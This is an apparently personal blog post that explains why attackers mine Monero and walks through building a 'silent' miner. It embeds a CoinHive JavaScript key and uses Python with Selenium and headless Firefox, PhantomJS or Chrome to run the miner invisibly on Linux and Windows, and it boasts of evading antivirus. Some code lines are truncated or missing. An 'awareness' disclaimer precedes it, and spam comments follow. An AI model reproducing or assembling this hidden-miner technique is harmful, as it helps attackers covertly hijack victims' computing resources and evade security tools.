Friday, 12 January 2018


Hidden Crypto currency mining has always been a game for blackhat hackers to make money out of it . After reading a lot of blog and news about hackers injecting silent miners to hacked computers, severs and websites, I thought of playing with it .

Note this blog is just for awareness of crypto currency hidden miners . I am not responsible with what my readers do with my codes . And I never suggest anyone to deploy crypto currency miners on unauthorised computers. 

Lets first understand what mining is ?

Cryptocurrency mining includes two function i.e adding transactions to the blockchain (securing and verifying) and also releasing new currency. Individual blocks added by miners should contain a proof-of-work, or PoW.

Now as we already know that bitcoin transactions are kind of traceable. Hard but still possible . So in the recent trends I found that most of the blackhat hackers shifted to monero mining . When I heard about monero in news I wanted to figure out why monero?

The reasons are :-

1) Monero is private and untraceable  crypto currency.

But this doens't fully answer  our question because there are other cryptocurrencies too, which are untraceable like zcash , dash (earlier know as dark coin) , verge etc.

After a bit more research I found my answer.

2) Monero uses "cryptonote" algorithm. Which rules out asci miners and hence mining is dependent on CPU and GPU which means the mining difficulty is lower than what we have with bitcoin also it is better suited for regular consumer laptops and PCs.

This makes cpu mining feasible for users and a golden opportunity for hackers to bot/mass mine Monero on hacked computers .

Next question was how simple can this be ?
Lets learn it, by doing it!

Building a Monero Miner Linux (Ubuntu for example) :-

Note :- I am a horrible coder . Hence I try to make my codes easy, so as to write less number of lines with less complexity no matter how horrible the code is . I am fine if it works :)

Preparing a list, how to make a silent miner!

1) A reliable miner manager.
2) Make it run invisible/silently on a system.

The best miner I could fine was a javascript one . Created by "" . Its free to signup and they take 30% commission for using their miner .


As far as I knew that for browser automation selenium is used .

Now we just embed our javascript code from coinhive and use our api public api key to trigger the miner.

Code file.html

<script src=""></script>
var miner = new CoinHive.Anonymous('3yvOKgHxX9ZsPB9x78IjhQ1C4xCDDhJx');

Next step is to open the html file silently on a system's browser . So we host our file somewhere . And make selenium trigger the url .



import os
os.system("pip3 install selenium")
os.system("pip3 install pyvirtualdisplay")
os.system("sudo python3") 

Understanding the code :-
Selenium which is required for browser automation .
And then we need geckodriver for triggering Firefox from selenium.

Gecko driver for linux can be downloaded from here


When we unzip the downloaded file from there we get geckodriver file in it . In 5th line I am just fetching the unziped file from my own server .

In 6th line I am moving it to the bin directly so as I don't have to mention the path of geckodriver in my further code



from pyvirtualdisplay import Display
from selenium import webdriver
browser = webdriver.Firefox()

This code simply made the visibility to zero and calls the url where the miner is hosted (our file.html). Since I didn't exit the selenium so the html file is open in a hidden firefox browser, till the system is running and the HTML file with the javascript code is using the systems cpu for mining Monero.

Windows miner :-

There are two ways of doing it .
Since there is no available wrapper for python virtual driver I had to look for an alternative .

I found that phantomjs provides a ghost browser for windows


from selenium import webdriver
browser = webdriver.PhantomJS(path)

In the code above the path variable is to set the path of your phantom js ghost driver which can be downloaded from here


In the bin folder there is a phantomjs.exe . That path is to be mentioned in the variable.

This was my first approach . But then I went for a simpler approach. While strolling the internet I found that chrome had enabled headless mode . Thats all we need :)


import os
import subprocess
for line in path.stdout:




Go to "" and get your executable .




The best part is, since everything is happening over the browser that too with javascripts , it will go undetected from most of the anti-viruses .

All the source codes can be found here

Stay safe ;-)
Cheers Shashank


David NU said...


sriram said...


software testing course in chennai

Joseph Russo said...


sheela rajesh said...

Python Training in Chennai
Python Classes in Chennai
Big data training in chennai
JAVA Training in Chennai
Digital Marketing Course in Chennai
Python Training in Chennai
Python Training in Velachery

Unknown said...

Thanks for sharing this amazing information

Happy Vanlentine Day said...

Thanks for sharing this is amazing information

Shoaib said...

Thanks for sharing this informative post..Lucrotrade

James Anthony said...
